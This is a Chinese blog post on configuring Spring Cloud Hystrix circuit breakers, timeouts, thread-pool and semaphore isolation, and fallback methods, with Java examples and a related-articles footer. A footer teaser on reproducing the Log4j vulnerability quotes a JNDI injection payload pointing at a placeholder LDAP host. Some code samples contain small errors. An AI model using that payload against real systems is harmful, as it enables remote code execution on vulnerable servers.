SpringCloud Hystrix 服务熔断、服务降级防止服务雪崩

文章目录

  • SpringCloud Hystrix 熔断器、服务降级防止服务雪崩
    • 需求背景
    • 引入依赖
    • 启动类加Hystrix注解
    • 接口配置熔断
      • 常规配置
      • 超时断开
      • 错误率熔断
      • 请求数熔断限流
    • 全局配置
    • 可配置项
      • HystrixCommand.Setter参数
      • Command Properties
    • 服务降级

SpringCloud Hystrix 熔断器、服务降级防止服务雪崩

在这里插入图片描述
Hystrix,英文意思是豪猪,全身是刺,刺是一种保护机制。Hystrix也是Netflflix公司的一款组件。

Hystrix是什么?

在分布式环境中,许多服务依赖项中的部分服务必然有概率出现失败。Hystrix是一个库,通过添加延迟和容错逻辑,来帮助你控制这些分布式服务之间的交互。Hystrix通过隔离服务之间的访问点阻止级联失败,通过提供回退选项来实现防止级联出错。提高了系统的整体弹性。与Ribbon并列,也几乎存在于每个Spring Cloud构建的微服务和基础设施中。

Hystrix被设计的目标是:

对通过第三方客户端库访问的依赖项(通常是通过网络)的延迟和故障进行保护和控制。

在复杂的分布式系统中阻止雪崩效应。

快速失败,快速恢复。

回退,尽可能优雅地降级。

需求背景

项目有慢接口,多个渠道都需要这个接口,一旦有突发大流量过来会导致这个接口变慢,甚至超时。引发第三方重试不断调用我们接口,这个接口又会调用其他接口,在突发大流量时会引发雪崩,且雪崩积攒的重试流量会把刚滚动启动的实例(实例有探针发现持续两次不响应ping就会滚动重启实例,起一个新的,回收旧实例)又打垮,因此需要加入服务熔断、服务降级,让系统将无法消化的流量直接熔断返回报错,让服务不被阻塞住。

引入依赖

<dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-netflix-hystrix</artifactId>
</dependency>

启动类加Hystrix注解

启动类加@EnableHystrix 或@EnableCircuitBreaker 注解都可以,建议用@EnableHystrix ,因为后一个在后续版本被弃用,@EnableHystrix是包含了@EnableCircuitBreaker的

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@EnableCircuitBreaker
public @interface EnableHystrix {}
@SpringCloudApplication
@EnableHystrix
public class ManageApplication{}

接口配置熔断

熔断效果测试可以使用jmeter这样的工具来实现
https://jmeter.apache.org/download_jmeter.cgi

在这里插入图片描述

常规配置

配置的值自己根据自己需求去改,这里是测试用设的值

    @HystrixCommand(commandProperties = {// 隔离策略,这个配置项默认是THREAD(线程),另外一个选项是SEMAPHORE(信号量),在信号量策略下无法使用超时时间设置。@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_STRATEGY, value = "THREAD"),// 单实例vivo接口最大并发请求数150,多处的直接拒绝@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_SEMAPHORE_MAX_CONCURRENT_REQUESTS, value = "1"),// 线程超时时间,10秒@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_THREAD_TIMEOUT_IN_MILLISECONDS, value = "100"),//错误百分比条件,达到熔断器最小请求数后错误率达到百分之多少后打开熔断器@HystrixProperty(name = HystrixPropertiesManager.CIRCUIT_BREAKER_ERROR_THRESHOLD_PERCENTAGE, value = "10"),//断容器最小请求数,达到这个值过后才开始计算是否打开熔断器@HystrixProperty(name = HystrixPropertiesManager.CIRCUIT_BREAKER_REQUEST_VOLUME_THRESHOLD, value = "3"),// 默认5秒; 熔断器打开后多少秒后 熔断状态变成半熔断状态(对该微服务进行一次请求尝试,不成功则状态改成熔断,成功则关闭熔断器@HystrixProperty(name = HystrixPropertiesManager.CIRCUIT_BREAKER_SLEEP_WINDOW_IN_MILLISECONDS, value = "5000")})

EXECUTION_ISOLATION_STRATEGY隔离策略,这个配置项默认是THREAD(线程),另外一个选项是SEMAPHORE(信号量),在信号量策略下无法使用超时时间设置。

在这里插入图片描述

超时断开

    @RequestMapping("testTimeout")@HystrixCommand(commandProperties = {// 线程超时时间,10秒@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_THREAD_TIMEOUT_IN_MILLISECONDS, value = "100")})public String testTimeout() throws InterruptedException {Thread.sleep(5000);return "test";}

错误率熔断

请求报错率达到多少之后开启熔断

    @RequestMapping("test")@HystrixCommand(groupKey = "vivoApi", commandProperties = {//错误百分比条件,达到熔断器最小请求数后错误率达到百分之多少后打开熔断器@HystrixProperty(name = HystrixPropertiesManager.CIRCUIT_BREAKER_ERROR_THRESHOLD_PERCENTAGE, value = "10")})public String test() throws Exception {Thread.sleep(50);return "test";}

请求数熔断限流

处理调用的线程池核心线程一个,任务队列长度为10,超出的请求会被熔断打回,在执行和队列里的请求没事,正常执行。

    @HystrixCommand(groupKey = "vivoApi", threadPoolProperties = {@HystrixProperty(name = HystrixPropertiesManager.CORE_SIZE, value = "1"),@HystrixProperty(name = HystrixPropertiesManager.MAX_QUEUE_SIZE, value = "10")})public String test() throws Exception {Thread.sleep(50);return "test";}

全局配置

全局配置并非全局所有接口自动配置上熔断、超时等操作,而是当你注解没有声明的配置会去读全局默认配置
例如下面配置了全局默认配置,那接口里用的时候你可以直接只加@HystrixCommand


/*** @author humorchen* date: 2024/4/7* description: 全局熔断配置**/
@Configuration
public class GlobalHystrixPropertiesConfiguration {/*** 熔断器配置** @return*/@Beanpublic HystrixCommandProperties.Setter commandPropertiesConfig() {return HystrixCommandProperties.Setter()// 熔断器在整个统计时间内是否开启的阀值.withExecutionTimeoutInMilliseconds(3000).withExecutionTimeoutEnabled(true).withExecutionIsolationThreadInterruptOnTimeout(true)// 报错比例决定熔断器是否开启.withCircuitBreakerErrorThresholdPercentage(10)// 熔断器开启必须有超过多少个请求.withCircuitBreakerRequestVolumeThreshold(10);}/*** 线程池配置** @return*/@Beanpublic HystrixThreadPoolProperties.Setter threadPoolConfig() {return HystrixThreadPoolProperties.Setter().withCoreSize(1).withMaxQueueSize(10);}
}

可配置项

可配置项 官方文档 https://github.com/Netflix/Hystrix/wiki/Configuration
配置的中文翻译 Hystrix配置中文文档

关键配置类 HystrixCommandProperties.java、HystrixPropertiesManager.java

HystrixCommand.Setter参数

HystrixCommandGroupKey:区分一组服务,一般以接口为粒度。
HystrixCommandKey:区分一个方法,一般以方法为粒度。
HystrixThreadPoolKey:一个HystrixThreadPoolKey下的所有方法共用一个线程池。
HystrixCommandProperties:基本配置

Command Properties

hystrix.command.default.execution.isolation.strategy 隔离策略,默认是Thread,可选Thread|Semaphore。thread用于线程池的隔离,一般适用于同步请求。semaphore是信号量模式,适用于异步请求
hystrix.command.default.execution.isolation.thread.timeoutInMilliseconds 命令执行超时时间,默认1000ms
hystrix.command.default.execution.timeout.enabled 执行是否启用超时,默认启用true
hystrix.command.default.execution.isolation.thread.interruptOnTimeout 发生超时是是否中断,默认true
hystrix.command.default.execution.isolation.semaphore.maxConcurrentRequests 最大并发请求数,默认10,该参数当使用ExecutionIsolationStrategy.SEMAPHORE策略时才有效。如果达到最大并发请求数,请求会被拒绝。理论上选择semaphore size的原则和选择thread size一致,但选用semaphore时每次执行的单元要比较小且执行速度快(ms级别),否则的话应该用thread。
hystrix.command.default.execution.isolation.thread.interruptOnCancel


public abstract class HystrixCommandProperties {private static final Logger logger = LoggerFactory.getLogger(HystrixCommandProperties.class);/* defaults *//* package */ static final Integer default_metricsRollingStatisticalWindow = 10000;// default => statisticalWindow: 10000 = 10 seconds (and default of 10 buckets so each bucket is 1 second)private static final Integer default_metricsRollingStatisticalWindowBuckets = 10;// default => statisticalWindowBuckets: 10 = 10 buckets in a 10 second window so each bucket is 1 secondprivate static final Integer default_circuitBreakerRequestVolumeThreshold = 20;// default => statisticalWindowVolumeThreshold: 20 requests in 10 seconds must occur before statistics matterprivate static final Integer default_circuitBreakerSleepWindowInMilliseconds = 5000;// default => sleepWindow: 5000 = 5 seconds that we will sleep before trying again after tripping the circuitprivate static final Integer default_circuitBreakerErrorThresholdPercentage = 50;// default => errorThresholdPercentage = 50 = if 50%+ of requests in 10 seconds are failures or latent then we will trip the circuitprivate static final Boolean default_circuitBreakerForceOpen = false;// default => forceCircuitOpen = false (we want to allow traffic)/* package */ static final Boolean default_circuitBreakerForceClosed = false;// default => ignoreErrors = false private static final Integer default_executionTimeoutInMilliseconds = 1000; // default => executionTimeoutInMilliseconds: 1000 = 1 secondprivate static final Boolean default_executionTimeoutEnabled = true;private static final ExecutionIsolationStrategy default_executionIsolationStrategy = ExecutionIsolationStrategy.THREAD;private static final Boolean default_executionIsolationThreadInterruptOnTimeout = true;private static final Boolean default_executionIsolationThreadInterruptOnFutureCancel = false;private static final Boolean default_metricsRollingPercentileEnabled = true;private static final Boolean default_requestCacheEnabled = true;private static final Integer default_fallbackIsolationSemaphoreMaxConcurrentRequests = 10;private static final Boolean default_fallbackEnabled = true;private static final Integer default_executionIsolationSemaphoreMaxConcurrentRequests = 10;private static final Boolean default_requestLogEnabled = true;private static final Boolean default_circuitBreakerEnabled = true;private static final Integer default_metricsRollingPercentileWindow = 60000; // default to 1 minute for RollingPercentile private static final Integer default_metricsRollingPercentileWindowBuckets = 6; // default to 6 buckets (10 seconds each in 60 second window)private static final Integer default_metricsRollingPercentileBucketSize = 100; // default to 100 values max per bucketprivate static final Integer default_metricsHealthSnapshotIntervalInMilliseconds = 500; // default to 500ms as max frequency between allowing snapshots of health (error percentage etc)@SuppressWarnings("unused") private final HystrixCommandKey key;private final HystrixProperty<Integer> circuitBreakerRequestVolumeThreshold; // number of requests that must be made within a statisticalWindow before open/close decisions are made using statsprivate final HystrixProperty<Integer> circuitBreakerSleepWindowInMilliseconds; // milliseconds after tripping circuit before allowing retryprivate final HystrixProperty<Boolean> circuitBreakerEnabled; // Whether circuit breaker should be enabled.private final HystrixProperty<Integer> circuitBreakerErrorThresholdPercentage; // % of 'marks' that must be failed to trip the circuitprivate final HystrixProperty<Boolean> circuitBreakerForceOpen; // a property to allow forcing the circuit open (stopping all requests)private final HystrixProperty<Boolean> circuitBreakerForceClosed; // a property to allow ignoring errors and therefore never trip 'open' (ie. allow all traffic through)private final HystrixProperty<ExecutionIsolationStrategy> executionIsolationStrategy; // Whether a command should be executed in a separate thread or not.private final HystrixProperty<Integer> executionTimeoutInMilliseconds; // Timeout value in milliseconds for a commandprivate final HystrixProperty<Boolean> executionTimeoutEnabled; //Whether timeout should be triggeredprivate final HystrixProperty<String> executionIsolationThreadPoolKeyOverride; // What thread-pool this command should run in (if running on a separate thread).private final HystrixProperty<Integer> executionIsolationSemaphoreMaxConcurrentRequests; // Number of permits for execution semaphoreprivate final HystrixProperty<Integer> fallbackIsolationSemaphoreMaxConcurrentRequests; // Number of permits for fallback semaphoreprivate final HystrixProperty<Boolean> fallbackEnabled; // Whether fallback should be attempted.private final HystrixProperty<Boolean> executionIsolationThreadInterruptOnTimeout; // Whether an underlying Future/Thread (when runInSeparateThread == true) should be interrupted after a timeoutprivate final HystrixProperty<Boolean> executionIsolationThreadInterruptOnFutureCancel; // Whether canceling an underlying Future/Thread (when runInSeparateThread == true) should interrupt the execution threadprivate final HystrixProperty<Integer> metricsRollingStatisticalWindowInMilliseconds; // milliseconds back that will be trackedprivate final HystrixProperty<Integer> metricsRollingStatisticalWindowBuckets; // number of buckets in the statisticalWindowprivate final HystrixProperty<Boolean> metricsRollingPercentileEnabled; // Whether monitoring should be enabled (SLA and Tracers).private final HystrixProperty<Integer> metricsRollingPercentileWindowInMilliseconds; // number of milliseconds that will be tracked in RollingPercentileprivate final HystrixProperty<Integer> metricsRollingPercentileWindowBuckets; // number of buckets percentileWindow will be divided intoprivate final HystrixProperty<Integer> metricsRollingPercentileBucketSize; // how many values will be stored in each percentileWindowBucketprivate final HystrixProperty<Integer> metricsHealthSnapshotIntervalInMilliseconds; // time between health snapshotsprivate final HystrixProperty<Boolean> requestLogEnabled; // whether command request logging is enabled.private final HystrixProperty<Boolean> requestCacheEnabled; // Whether request caching is enabled./*** Isolation strategy to use when executing a {@link HystrixCommand}.* <p>* <ul>* <li>THREAD: Execute the {@link HystrixCommand#run()} method on a separate thread and restrict concurrent executions using the thread-pool size.</li>* <li>SEMAPHORE: Execute the {@link HystrixCommand#run()} method on the calling thread and restrict concurrent executions using the semaphore permit count.</li>* </ul>*/public static enum ExecutionIsolationStrategy {THREAD, SEMAPHORE}

服务降级

简单来说也就是在@HystrixCommand注解上配置fallbackMethod参数指定降级后调用的方法名即可。当接口不可用、超时、错误率高于阈值时自动调用fallbackMethod指定的方法处理请求,称为服务降级,fallbackMethod方法可以直接返回错误,或者提供带缓存的高性能的实现等,如果fallbackMethod也不可用,会发生熔断报错返回。

@RestController
@RequestMapping("hystrix")
public class HystrixController {@Autowiredprivate HystrixService hystrixService;// 熔断降级@GetMapping("{num}")@HystrixCommand(fallbackMethod="circuitBreakerFallback", commandProperties = {@HystrixProperty(name=HystrixPropertiesManager.CIRCUIT_BREAKER_ENABLED, value = "true"),// 是否开启熔断器@HystrixProperty(name=HystrixPropertiesManager.CIRCUIT_BREAKER_REQUEST_VOLUME_THRESHOLD,value = "20"),      // 统计时间窗内请求次数@HystrixProperty(name = HystrixPropertiesManager.CIRCUIT_BREAKER_ERROR_THRESHOLD_PERCENTAGE, value = "50"),// 在统计时间窗内,失败率达到50%进入熔断状态@HystrixProperty(name = HystrixPropertiesManager.CIRCUIT_BREAKER_SLEEP_WINDOW_IN_MILLISECONDS, value = "5000"), // 休眠时间窗口@HystrixProperty(name = HystrixPropertiesManager.METRICS_ROLLING_STATS_TIME_IN_MILLISECONDS, value = "10000") // 统计时间窗})public String testCircuitBreaker(@PathVariable Integer num, @RequestParam String name) {if (num % 2 == 0) {return "请求成功";} else {throw RunTimeException("");}}// fallback方法的参数个数、参数类型、返回值类型要与原方法对应,fallback方法的参数多加个Throwablepublic String circuitBreakerFallback(Integer num, String name) {return "请求失败,请稍后重试";}// 超时降级@GetMapping@HystrixCommand(fallbackMethod = "timeoutFallback", commandProperties = {@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_TIMEOUT_ENABLED, value = "true"),// 是否开启超时降级@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_THREAD_TIMEOUT_IN_MILLISECONDS, value = "10000"),// 请求的超时时间,默认10000@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_THREAD_INTERRUPT_ON_TIMEOUT, value = "true")// 当请求超时时,是否中断线程,默认true})public String testTimeout(@RequestParam String name) throws InterruptedException{Thread.sleep(200)return "success";}public String timeoutFallback(String name) {return "请求超时,请稍后重试";}// 资源隔离(线程池)触发降级@GetMapping("isolation/threadpool")@HystrixCommand(fallbackMethod = "isolationFallback",commandProperties = {@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_STRATEGY, value = "THREAD")},threadPoolProperties = {@HystrixProperty(name = HystrixPropertiesManager.CORE_SIZE, value = "10"),@HystrixProperty(name = HystrixPropertiesManager.MAX_QUEUE_SIZE, value = "-1"),@HystrixProperty(name = HystrixPropertiesManager.QUEUE_SIZE_REJECTION_THRESHOLD, value = "2"),@HystrixProperty(name = HystrixPropertiesManager.KEEP_ALIVE_TIME_MINUTES, value = "1"),})public String testThreadPoolIsolation(@RequestParam String name) throws InterruptedException {Thread.sleep(200)return "success";}public String isolationFallback(String name) {return "资源隔离拒绝,请稍后重试";}// 信号量资源隔离@GetMapping("isolation/semaphore")@HystrixCommand(fallbackMethod = "isolationFallback",commandProperties = {@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_STRATEGY, value = "SEMAPHORE"),@HystrixProperty(name = HystrixPropertiesManager.EXECUTION_ISOLATION_SEMAPHORE_MAX_CONCURRENT_REQUESTS, value = "2")})public String testSemaphoreIsolation(@RequestParam String name) throws InterruptedException {Thread.sleep(200)return "success";}public String isolationFallback(String name) {return "资源隔离拒绝,请稍后重试";}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797669.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

反射感测器简化光电开关设计

本文为大家介绍如何利用反射感测器的优势&#xff0c;以简化并改进微型光学感测器的设计。 反射感测器是设计微型光电开关的得力助手。它们精巧直观&#xff0c;可用来简化人机交互。这些感测器通常隐藏在红外 ( IR ) 透镜盖后面&#xff0c;当手指或其他物体接触镜盖表面时&a…

2024年4月7日16:58:09答辩笔记

尚硅谷总结毕业设计编写&#xff1a;&#xff08;ppt尽量好看点&#xff0c;放图&#xff08;流畅图&#xff0c;时序图放一放&#xff09;&#xff0c;少字&#xff0c;&#xff09; 总结&#xff1a;&#xff08;这样给人体验感要好&#xff0c;语言、逻辑清晰&#xff09; 1…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

GESP Python编程五级认证真题 2024年3月

Python 五级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下面流程图在yr输入2024时&#xff0c;可以判定yr代表闰年&#xff0c;并输出 2月是29天 &#xff0c;则图中菱形框中应该填入&#xff08; &#xff09;。 A. (yr % 400 0…

Leetcode刷题笔记——多维动态规划篇

Leetcode刷题笔记——多维动态规划篇 第一题:最小路径和 Leetcode64&#xff1a;最小路径和&#xff1a;中等题 &#xff08;详情点击链接见原题&#xff09; 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的…

稀碎从零算法笔记Day36-LeetCode:H指数

有点绕的一个题&#xff0c;题目描述的有点奇怪&#xff08;可以看下英文&#xff1f;&#xff09; 题型&#xff1a;数组、模拟 链接&#xff1a;274. H 指数 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一个整数数组 citations &am…

SpringBoot登录校验(四)过滤器Filter

JWT令牌生成后&#xff0c;客户端发的请求头中会带有JWT令牌&#xff0c;服务端需要校验每个请求的令牌&#xff0c;如果在每个controller方法中添加校验模块&#xff0c;则十分复杂且冗余&#xff0c;所以引入统一拦截模块&#xff0c;将请求拦截下来并做校验&#xff0c;这块…

【算法】两数之和(暴力求解+哈希表)

本题来源---《两数之和》。 题目描述 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里…

Golang | Leetcode Golang题解之第12题整数转罗马数字

题解&#xff1a; 题解&#xff1a; var (thousands []string{"", "M", "MM", "MMM"}hundreds []string{"", "C", "CC", "CCC", "CD", "D", "DC", "…

UNITY实战进阶-BatchRendererGroup+Jobs+Burst+RVO2+GPUAnimation 实现万人团战(一)

研究思路&#xff1a;GPUAnimation把动画放入GPU中处理&#xff0c;BatchRendererGroup进行动态批量渲染处理&#xff0c;JobsBurst进行多线程处理逻辑&#xff08;移动、攻击等&#xff09;&#xff0c;RVO2采用Jobs的寻路导航。 准备工作&#xff1a; Editor > Project S…

VMware虚拟机(Rocky9.3)硬盘扩容详细图文教程

参考<<鸟哥的Linux>>以及VMware虚拟机硬盘扩容详细图文教程 原因: 用户空间不足,且系统是用LVM&#xff08;logical volume manager&#xff09;进行分区 df -h #查看/home目录下磁盘容量不足磁盘扩容步骤 关闭虚拟机,选择编辑虚拟机, 点击硬盘,再点击扩容 这个…

Redis安装说明

Redis安装说明 大多数企业都是基于Linux服务器来部署项目&#xff0c;而且Redis官方也没有提供Windows版本的安装包。因此课程中我们会基于Linux系统来安装Redis. 此处选择的Linux版本为CentOS 7. Redis的官方网站地址&#xff1a;https://redis.io/ 1.单机安装Redis 1.1.…

Mysql底层原理十一:Mvcc

为什么要mvcc&#xff1f; 提高并发度&#xff0c;如果读和写都是通过加锁的方式&#xff0c;并发肯定上不来&#xff0c;通过mvcc来实现写通过加锁&#xff0c;读通过mvcc readView机制 3.9.1 Undo版本链 再重复一遍&#xff0c;页面中的记录存放在用户表空间的数据页中&a…